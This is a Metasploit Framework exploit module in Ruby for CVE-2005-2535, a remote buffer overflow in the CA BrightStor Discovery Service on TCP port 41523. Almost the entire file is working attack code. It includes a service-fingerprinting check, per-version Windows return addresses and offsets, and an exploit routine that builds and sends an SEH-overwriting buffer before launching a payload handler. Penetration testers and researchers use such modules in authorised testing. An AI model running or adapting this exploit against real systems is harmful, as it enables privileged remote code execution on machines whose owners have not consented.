CA BrightStor Discovery Service TCP Overflow



##

# $Id: discovery_tcp.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'CA BrightStor Discovery Service TCP Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability in the CA BrightStor
                Discovery Service. This vulnerability occurs when a specific
                type of request is sent to the TCP listener on port 41523.
                This vulnerability was discovered by cybertronic[at]gmx.net
                and affects all known versions of the BrightStor product.
                This module is based on the 'cabrightstor_disco' exploit by
                Thor Doomen.
            },
            'Author'         => [ 'hdm', 'patrick' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9179 $',
            'References'     =>
                [
                    [ 'CVE', '2005-2535'],
                    [ 'OSVDB', '13814'],
                    [ 'BID', '12536'],
                    [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],
                    [ 'URL', 'http://milw0rm.com/exploits/1131'],
                ],
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 2048,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500,
                },
            'Targets'        =>
                [
                    [
                        'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.0
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x23803b20, # pop/pop/ret
                            'Offset'   => 1032,
                        },
                    ],
                    [
                        'cheyprod.dll 12/12/2003',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x23805714, # pop/pop/ret
                            'Offset'   => 1024,
                        },
                    ],
                    [
                        'cheyprod.dll 07/21/2004',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x23805d10, # pop/pop/ret
                            'Offset'   => 1024,
                        },
                    ],
                ],
            'DisclosureDate' => 'Feb 14 2005',
            'DefaultTarget' => 1))

        register_options(
            [
                Opt::RPORT(41523)
            ], self.class)
    end

    def check

        # The first request should have no reply
        csock = Rex::Socket::Tcp.create(
            'PeerHost'  => datastore['RHOST'],
            'PeerPort'  => datastore['RPORT'],
            'Context'   =>
                {
                    'Msf'        => framework,
                    'MsfExploit' => self,
                })

        csock.put('META')
        x = csock.get_once(-1, 3)
        csock.close

        # The second request should be replied with the host name
        csock = Rex::Socket::Tcp.create(
            'PeerHost'  => datastore['RHOST'],
            'PeerPort'  => datastore['RPORT'],
            'Context'   =>
                {
                    'Msf'        => framework,
                    'MsfExploit' => self,
                })

        csock.put('hMETA')
        y = csock.get_once(-1, 3)
        csock.close

        if (y and not x)
            return Exploit::CheckCode::Detected
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        connect

        print_status("Trying target #{target.name}...")

        buf = rand_text_english(4096)

        # Overwriting the return address works well, but the only register
        # pointing back to our code is 'esp'. The following stub overwrites
        # the SEH frame instead, making things a bit easier.

        seh = generate_seh_payload(target.ret)
        buf[target['Offset'], seh.length] = seh

        # Make sure the return address is invalid to trigger SEH
        buf[ 900, 100]     = (rand(127)+128).chr * 100

        # SERVICEPC is the client host name actually =P (thanks Juliano!)
        req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"
        req << buf

        sock.put(req)
        sock.get_once

        handler
        disconnect
    end

end